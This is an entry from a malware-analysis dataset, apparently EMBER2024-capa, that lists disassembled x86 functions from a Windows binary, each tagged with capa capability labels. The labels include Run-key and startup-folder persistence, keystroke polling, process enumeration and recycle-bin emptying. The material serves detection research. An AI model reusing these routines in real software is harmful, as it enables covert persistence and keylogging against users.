joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011a80
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
sub esp, 0x354
mov eax, dword [esp + 0x35c]
push ebx
push ebp
xor ebx, ebx
push esi
cmp eax, 0xffffffff
push edi
mov dword [esp + 0x18], 0x224
jne 0x10011ba5
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 0x23c]
push eax
push esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x244], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10011c1a
mov ecx, dword [esp + 0x244]
push ecx
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x18]
mov edi, eax
push edx
push edi
mov dword [esp + 0x18], edi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x10011b86
mov eax, dword [esp + 0x368]
lea ebp, [eax + ebx*4]
xor esi, esi
test ebx, ebx
jle 0x10011b31
mov edi, dword [esp + 0x368]
mov edx, dword [edi]
lea ecx, [esp + 0x138]
push ecx
push edx
call fcn.10019e00
add esp, 8
test eax, eax
je 0x10011b6b
inc esi
add edi, 4
cmp esi, ebx
jl 0x10011b12
push 0x104
call fcn.10019737
mov edx, eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
add ebp, 4
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push edx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x10011b05
mov edi, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x23c]
push eax
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10011ad3
jmp 0x10011c1a
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x18]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], esi
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x10011c1a
mov ebp, dword [esp + 0x368]
push 0x104
call fcn.10019737
mov edx, eax
lea edi, [esp + 0x13c]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebp], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
add ebp, 4
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
push ecx
push edx
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x10011bc9
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x354
ret 8
Function at 0x10011c30
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x28
lea eax, [esp + 8]
mov dword [esp + 8], 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0x2c]
lea eax, [ecx - 1]
cmp eax, 4
ja case.default.0x10011c52
jmp dword [eax*4 + 0x10011ca0]
mov eax, dword [esp + 0x14]
jmp 0x10011c7b
mov eax, dword [esp + 0x20]
jmp 0x10011c7b
mov eax, dword [esp + 0x24]
jmp 0x10011c7b
mov eax, dword [esp + 0x18]
jmp 0x10011c7b
mov eax, dword [esp + 0x1c]
jmp 0x10011c7b
mov eax, dword [esp + 0x10]
push 0x400
push eax
call fcn.10019ed0
push 0x400
push eax
mov dword [esp + 0x14], edx
call fcn.10019ed0
mov dword [esp + 0x14], edx
add esp, 0x38
ret 4
Function at 0x10011d00
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x100307f6
push eax
mov dword fs:[0], esp
sub esp, 0x118
push ebp
push esi
mov esi, dword [esp + 0x130]
push edi
cmp esi, 0x10048030
je 0x10011eda
cmp dword [esp + 0x138], 0x10048030
je 0x10011eda
mov ebp, dword [esp + 0x13c]
cmp ebp, 0x10048030
je 0x10011eda
push ebx
push esi
lea ecx, [esp + 0x14]
call fcn.10026e0a
lea eax, [esp + 0x20]
push 1
push eax
lea ecx, [esp + 0x18]
mov dword [esp + 0x138], 0
mov dword [esp + 0x24], 0x100
call fcn.10025ba0
mov eax, dword [eax]
push 0x1003bd40
push eax
call fcn.10019c73
add esp, 8
lea ecx, [esp + 0x20]
test eax, eax
setne bl
call fcn.10026d9c
test bl, bl
pop ebx
je 0x10011db9
push esi
lea ecx, [esp + 0x10]
push 0x10043544
push ecx
call fcn.10025f9e
add esp, 0xc
mov ecx, dword [esp + 0x18]
xor eax, eax
mov edx, ecx
lea edi, [esp + 0x24]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10011ec6
lea edx, [esp + 0x18]
lea eax, [esp + 0x24]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10011e27
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x10011ec6
mov ecx, dword [esp + 0x138]
lea edx, [esp + 0x24]
push ecx
push edx
lea eax, [esp + 0x14]
push str._s_shell_scommand
push eax
call fcn.10025f9e
add esp, 0x10
lea ecx, [esp + 0x14]
push ebp
call fcn.10026e0a
push 0x1004352c
lea ecx, [esp + 0x18]
mov byte [esp + 0x130], 1
call fcn.10027052
mov ecx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [esp + 0x14]
push ecx
call edi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10011eb5
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
mov eax, dword [ecx - 8]
push eax
push esi
push 1
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x10011ef6
mov eax, dword [esp + 0x10]
push eax
call edi
lea ecx, [esp + 0x14]
mov byte [esp + 0x12c], 0
call fcn.10026d9c
lea ecx, [esp + 0xc]
mov dword [esp + 0x12c], 0xffffffff
call fcn.10026d9c
xor eax, eax
mov ecx, dword [esp + 0x124]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x124
ret 0xc
mov ecx, dword [esp + 0x10]
push ecx
call edi
lea ecx, [esp + 0x14]
mov byte [esp + 0x12c], 0
call fcn.10026d9c
lea ecx, [esp + 0xc]
mov dword [esp + 0x12c], 0xffffffff
call fcn.10026d9c
mov eax, 1
jmp 0x10011edc
Function at 0x10011f30
Capabilities:
Delete registry key
Query or enumerate registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x1003080b
push eax
mov dword fs:[0], esp
sub esp, 0x114
push ebp
push esi
mov esi, dword [esp + 0x12c]
cmp esi, 0x10048030
je 0x100120ba
mov ebp, dword [esp + 0x130]
cmp ebp, 0x10048030
je 0x100120ba
push ebx
push esi
lea ecx, [esp + 0x10]
call fcn.10026e0a
lea eax, [esp + 0x18]
push 1
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x130], 0
mov dword [esp + 0x1c], 0x100
call fcn.10025ba0
mov eax, dword [eax]
push 0x1003bd40
push eax
call fcn.10019c73
add esp, 8
lea ecx, [esp + 0x18]
test eax, eax
setne bl
call fcn.10026d9c
test bl, bl
pop ebx
je 0x10011fd7
push esi
lea ecx, [esp + 0xc]
push 0x10043544
push ecx
call fcn.10025f9e
add esp, 0xc
mov ecx, dword [esp + 0x10]
push edi
mov edx, ecx
xor eax, eax
lea edi, [esp + 0x20]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
pop edi
jne 0x100120a6
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x1001203e
mov eax, dword [esp + 0xc]
push eax
jmp 0x100120a0
lea ecx, [esp + 0x1c]
push ebp
push ecx
lea edx, [esp + 0x10]
push str._s_shell_scommand
push edx
call fcn.10025f9e
mov eax, dword [esp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
add esp, 0x10
push eax
push closesocket
call esi
test eax, eax
je 0x10012073
mov ecx, dword [esp + 0xc]
push ecx
jmp 0x100120a0
lea edx, [esp + 0x1c]
push ebp
push edx
lea eax, [esp + 0x10]
push str._s_shell_s
push eax
call fcn.10025f9e
mov ecx, dword [esp + 0x18]
add esp, 0x10
push ecx
push closesocket
call esi
test eax, eax
je 0x100120d5
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 8]
mov dword [esp + 0x124], 0xffffffff
call fcn.10026d9c
xor eax, eax
mov ecx, dword [esp + 0x11c]
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x120
ret 8
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 8]
mov dword [esp + 0x124], 0xffffffff
call fcn.10026d9c
mov eax, 1
jmp 0x100120bc
Function at 0x10012100
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x10030828
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x1004415c]
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x28]
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [esp + 0x20], edi
mov esi, 0x41
mov dword [esp + 0x14], 0x1a
push esi
lea ecx, [esp + 0x14]
push 0x10043554
push ecx
call fcn.10025f9e
add esp, 0xc
test ebx, ebx
jne 0x1001216f
mov edx, dword [esp + 0x10]
push edx
call ebp
add eax, 0xfffffffe
cmp eax, 3
ja case.default.0x10012168
jmp dword [eax*4 + 0x100121b0]
mov eax, dword [esp + 0x10]
push eax
call ebp
cmp eax, ebx
jne case.default.0x10012168
inc edi
mov eax, dword [esp + 0x14]
inc esi
dec eax
mov dword [esp + 0x14], eax
jne 0x10012142
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0xffffffff
call fcn.10026d9c
mov ecx, dword [esp + 0x18]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 4

Function at 0x100121c0
Capabilities:
Get disk information

Disassembly:
push 0xffffffffffffffff
push 0x10030848
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
mov eax, dword [0x1004415c]
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x2c]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x14], 0x41
mov dword [esp + 0x2c], 0x1a
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x10]
push ecx
push 0x10043558
push edx
call fcn.10025f9e
mov esi, dword [esp + 0x34]
add esp, 0xc
test esi, esi
jne 0x10012238
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
add eax, 0xfffffffe
cmp eax, 3
ja case.default.0x10012231
jmp dword [eax*4 + 0x100122bc]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, esi
jne case.default.0x10012231
push 3
call fcn.10019737
mov edi, dword [esp + 0x14]
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
add esp, 4
mov dword [ebx], edx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebp
rep movsb byte es:[edi], byte [esi]
add ebx, 4
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
inc ecx
dec eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x2c], eax
jne 0x100121ff
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0xffffffff
call fcn.10026d9c
mov ecx, dword [esp + 0x18]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x14
ret 8
Function at 0x100122d0
Capabilities:
Delete file
Delete registry value
Get common file path
Get startup folder
Persist via run registry key

Disassembly:
sub esp, 0x108
lea eax, [esp]
push ebx
push esi
push edi
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov edi, ecx
push closesocket
xor esi, esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ebx, dword [esp + 0x118]
test eax, eax
jne 0x1001231d
mov ecx, dword [esp + 0xc]
push ebx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10012312
mov esi, 1
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [esp + 0x14]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea ecx, [esp + 0x10]
push ebx
push ecx
lea edx, [esp + 0x18]
push str._s_s.lnk
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 1
jne 0x10012359
mov esi, eax
lea ecx, [esp + 0x10]
push ecx
push closesocket
mov ecx, edi
call fcn.10014c20
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x108
ret 4
Function at 0x10012380
Capabilities:
Get common file path
Get startup folder
Persist via run registry key
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x10030881
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0x14]
call fcn.10017c5f
mov esi, dword [esp + 0x164]
push 0
push esi
lea ecx, [esp + 0x1c]
mov dword [esp + 0x160], 0
call fcn.10017d22
test eax, eax
lea ecx, [esp + 0x14]
jne 0x100123d9
call fcn.10017cd8
jmp 0x10012497
call fcn.10017cd8
mov eax, dword [esp + 0x168]
test eax, eax
jne 0x100124f9
push esi
lea ecx, [esp + 0x10]
call fcn.10026e0a
mov ebx, 1
lea ecx, [esp + 0x30]
mov byte [esp + 0x158], bl
call fcn.10017c5f
push 0
push esi
lea ecx, [esp + 0x38]
mov byte [esp + 0x160], 2
call fcn.10017d22
lea ecx, [esp + 0x30]
mov edi, eax
call fcn.10017cd8
test edi, edi
je 0x10012476
lea eax, [esp + 0x10]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x10012476
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x160]
mov eax, dword [ecx - 8]
push eax
mov eax, dword [esp + 0x14]
push esi
push ebx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x100124b2
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x30]
mov byte [esp + 0x158], bl
call fcn.10017c9c
lea ecx, [esp + 0xc]
mov byte [esp + 0x158], 0
call fcn.10026d9c
lea ecx, [esp + 0x14]
mov dword [esp + 0x158], 0xffffffff
call fcn.10017c9c
xor eax, eax
jmp 0x1001257d
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x30]
mov byte [esp + 0x158], bl
call fcn.10017c9c
lea ecx, [esp + 0xc]
mov byte [esp + 0x158], 0
call fcn.10026d9c
lea ecx, [esp + 0x14]
mov dword [esp + 0x158], 0xffffffff
call fcn.10017c9c
mov eax, ebx
jmp 0x1001257d
push 0
lea eax, [esp + 0x50]
push 7
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov ecx, dword [esp + 0x160]
lea edx, [esp + 0x4c]
push ecx
push edx
lea eax, [esp + 0x54]
push str._s_s.lnk
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x4c]
push ecx
push esi
mov ecx, edi
call fcn.10014f30
test eax, eax
jne 0x10012553
lea ecx, [esp + 0x14]
mov dword [esp + 0x158], 0xffffffff
call fcn.10017c9c
xor eax, eax
jmp 0x1001257d
lea edx, [esp + 0x4c]
mov ecx, edi
push edx
push closesocket
call fcn.10014c20
lea ecx, [esp + 0x14]
mov dword [esp + 0x158], 0xffffffff
call fcn.10017c9c
mov eax, 1
mov ecx, dword [esp + 0x150]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x150
ret 0xc
Function at 0x100125a0
Capabilities:
Empty the recycle bin
Get common file path

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x104
push esi
xor esi, esi
push edi
cmp eax, 3
mov edi, ecx
ja case.default.0x100125b9
jmp dword [eax*4 + 0x10012688]
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je case.default.0x100125b9
push 0
lea ecx, [esp + 0xc]
push 1
push ecx
mov ecx, edi
call fcn.10010d30
mov esi, eax
pop edi
pop esi
add esp, 0x104
ret 4
push 0
mov ecx, edi
call fcn.10010c70
push 0
lea edx, [esp + 0xc]
push 0x20
push edx
push 0
mov esi, eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je case.default.0x100125b9
lea eax, [esp + 8]
mov ecx, edi
push eax
call fcn.10010af0
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret 4
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinA]
mov esi, eax
pop edi
neg esi
sbb esi, esi
inc esi
mov eax, esi
pop esi
add esp, 0x104
ret 4
push 1
mov ecx, edi
call fcn.10010c70
push 0
lea ecx, [esp + 0xc]
push 0x21
push ecx
push 0
mov esi, eax
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je case.default.0x100125b9
lea edx, [esp + 8]
mov ecx, edi
push edx
call fcn.10010af0
mov eax, esi
pop edi
pop esi
add esp, 0x104
ret 4
Function at 0x10012b50
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x100
lea eax, [esp]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov eax, dword [esp + 0x104]
dec eax
je 0x10012b94
dec eax
je 0x10012b81
mov al, byte [esp + 0x90]
and eax, 1
add esp, 0x100
ret 4
mov al, byte [esp + 0x91]
and eax, 1
add esp, 0x100
ret 4
mov al, byte [esp + 0x14]
and eax, 1
add esp, 0x100
ret 4
Function at 0x100130a0
Capabilities:
Copy file
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10030911
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
mov eax, dword [0x1004415c]
push edi
xor edi, edi
mov dword [esp + 4], eax
push edi
lea ecx, [esp + 0x20]
push 0x14
push ecx
push edi
mov dword [esp + 0x138], edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
test eax, eax
je 0x1001319a
push esi
lea ecx, [esp + 0x10]
call fcn.10028034
mov esi, dword [esp + 0x134]
push edi
push edi
push esi
lea ecx, [esp + 0x1c]
mov byte [esp + 0x138], 1
call fcn.10028146
test eax, eax
je 0x10013188
lea edx, [esp + 0xc]
lea ecx, [esp + 0x10]
push edx
call fcn.1002865e
mov eax, dword [eax]
lea ecx, [esp + 0x20]
push eax
push ecx
lea edx, [esp + 0x10]
push str._s_s
push edx
mov byte [esp + 0x13c], 2
call fcn.10025f9e
add esp, 0x10
lea ecx, [esp + 0xc]
mov byte [esp + 0x12c], 1
call fcn.10026d9c
lea ecx, [esp + 0x10]
call fcn.10028361
mov eax, dword [esp + 8]
push 1
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x10013188
push esi
call dword [sym.imp.GDI32.dll_AddFontResourceA]
mov edi, eax
test edi, edi
je 0x10013188
push 0
push 0
push 0x1d
push 0xffff
call dword [sym.imp.USER32.dll_SendMessageA]
lea ecx, [esp + 0x10]
mov byte [esp + 0x12c], 0
call fcn.10028089
pop esi
lea ecx, [esp + 4]
mov dword [esp + 0x128], 0xffffffff
call fcn.10026d9c
mov ecx, dword [esp + 0x120]
mov eax, edi
pop edi
mov dword fs:[0], ecx
add esp, 0x128
ret 4

Function at 0x10013640
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x10030982
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x78
push ebp
push esi
push 0x10048030
lea ecx, [esp + 0xc]
mov dword [esp + 0x18], 0
call fcn.10026e0a
lea eax, [esp + 0xc]
mov ebp, 1
push eax
push 0x20019
push 0
push str.SOFTWAREMicrosoftInternet_Explorer
push closesocket
mov dword [esp + 0x9c], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x100136b5
mov esi, dword [esp + 0x90]
lea ecx, [esp + 8]
push ecx
mov ecx, esi
call fcn.10026b11
mov dword [esp + 0x14], ebp
jmp 0x10013729
push edi
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x20]
push edx
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push eax
push ecx
push 0
push str.Version
push edx
mov dword [esp + 0x34], ebp
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x14]
pop edi
test eax, eax
jbe 0x10013712
lea ecx, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
call fcn.10026ed9
mov esi, dword [esp + 0x90]
lea edx, [esp + 8]
push edx
mov ecx, esi
call fcn.10026b11
mov dword [esp + 0x14], ebp
lea ecx, [esp + 8]
mov byte [esp + 0x88], 0
call fcn.10026d9c
mov ecx, dword [esp + 0x80]
mov eax, esi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x84
ret 4
Function at 0x10014c70
Capabilities:
Create directory
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x104
push esi
mov esi, ecx
push 0
lea ecx, [esp + 8]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edx, dword [esp + 0x10c]
lea eax, [esp + 4]
push edx
push 0x10043aa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + eax + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x10014cce
pop esi
add esp, 0x104
ret 8
lea eax, [esp + 4]
mov ecx, esi
push eax
push inet_ntoa
call fcn.10014c20
mov eax, 1
pop esi
add esp, 0x104
ret 8

Function at 0x10014cf0
Capabilities:
Get common file path

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x104
push esi
mov esi, ecx
push 0
lea ecx, [esp + 8]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edx, dword [esp + 0x10c]
lea eax, [esp + 4]
push edx
push 0x10043aa0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + eax + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
mov ecx, esi
push 0
push 0
push edx
call fcn.10010d30
test eax, eax
jne 0x10014d51
pop esi
add esp, 0x104
ret 8
lea eax, [esp + 4]
push eax
call fcn.10019ef5
add esp, 4
test eax, eax
je 0x10014d6e
xor eax, eax
pop esi
add esp, 0x104
ret 8
lea ecx, [esp + 4]
push ecx
push sendto
mov ecx, esi
call fcn.10014c20
mov eax, 1
pop esi
add esp, 0x104
ret 8

Function at 0x10014d90
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x10030a8b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x120
push esi
mov esi, ecx
push edi
lea ecx, [esp + 8]
call fcn.10017c5f
mov edi, dword [esp + 0x140]
push 0
push edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x138], 0
call fcn.10017d22
test eax, eax
lea ecx, [esp + 8]
jne 0x10014dfe
call fcn.10017cd8
lea ecx, [esp + 8]
mov dword [esp + 0x130], 0xffffffff
call fcn.10017c9c
xor eax, eax
jmp 0x10014e95
call fcn.10017cd8
mov eax, dword [esp + 0x144]
push 0
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edx, dword [esp + 0x13c]
mov eax, dword [esp + 0x138]
push edx
lea ecx, [esp + 0x28]
push eax
push ecx
lea edx, [esp + 0x30]
push str._s_s_s.lnk
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 0x24]
mov ecx, esi
push eax
push edi
call fcn.10014f30
test eax, eax
jne 0x10014e6b
lea ecx, [esp + 8]
mov dword [esp + 0x130], 0xffffffff
call fcn.10017c9c
xor eax, eax
jmp 0x10014e95
lea ecx, [esp + 0x24]
push ecx
push closesocket
mov ecx, esi
call fcn.10014c20
lea ecx, [esp + 8]
mov dword [esp + 0x130], 0xffffffff
call fcn.10017c9c
mov eax, 1
mov ecx, dword [esp + 0x128]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x12c
ret 0x10
Function at 0x10014eb0
Capabilities:
Delete file
Get common file path

Disassembly:
mov eax, dword [esp + 0xc]
sub esp, 0x104
push esi
mov esi, ecx
push 0
lea ecx, [esp + 8]
push eax
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov edx, dword [esp + 0x110]
mov eax, dword [esp + 0x10c]
push edx
lea ecx, [esp + 8]
push eax
push ecx
lea edx, [esp + 0x10]
push str._s_s_s.lnk
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x10014f0e
pop esi
add esp, 0x104
ret 0xc
lea ecx, [esp + 4]
push ecx
push reloc.WS2_32.dll_connect
mov ecx, esi
call fcn.10014c20
mov eax, 1
pop esi
add esp, 0x104
ret 0xc

Function at 0x10014f30
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x210
lea eax, [esp]
push eax
push 0x10034a70
push 1
push 0
push 0x10034a60
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x10014f5e
xor eax, eax
add esp, 0x210
ret 8
mov eax, dword [esp]
mov edx, dword [esp + 0x214]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [esp]
lea edx, [esp + 4]
push edx
push 0x10034a80
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jge 0x10014f92
xor eax, eax
add esp, 0x210
ret 8
mov ecx, dword [esp + 0x218]
lea eax, [esp + 8]
push 0x104
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 4]
lea ecx, [esp + 8]
push 2
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x18]
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 1
add esp, 0x210
ret 8